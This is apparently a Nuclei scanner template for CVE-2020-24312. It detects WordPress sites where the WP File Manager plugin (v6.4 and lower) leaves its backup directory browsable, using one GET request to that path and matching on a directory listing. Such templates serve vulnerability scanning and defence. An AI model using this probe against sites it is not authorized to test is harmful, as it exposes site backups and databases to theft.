id: CVE-2020-24312 info: name: WordPress Plugin File Manager (wp-file-manager) Backup Disclosure author: x1m_martijn severity: high description: | mndpsingh287 WP File Manager v6.4 and lower fails to restrict external access to the fm_backups directory with a .htaccess file. This results in the ability for unauthenticated users to browse and download any site backups, which sometimes include full database backups, that the plugin has taken. reference: https://zeroaptitude.com/zerodetail/wordpress-plugin-bug-hunting-part-1/ tags: cve,cve2020,wordpress,backups # NIST: https://nvd.nist.gov/vuln/detail/CVE-2020-24312 # Source: https://zeroaptitude.com/zerodetail/wordpress-plugin-bug-hunting-part-1/ # Note: Manually check content requests: - method: GET path: - '{{BaseURL}}/wp-content/uploads/wp-file-manager-pro/fm_backup/' matchers-condition: and matchers: - type: status status: - 200 - type: word words: - 'Index of'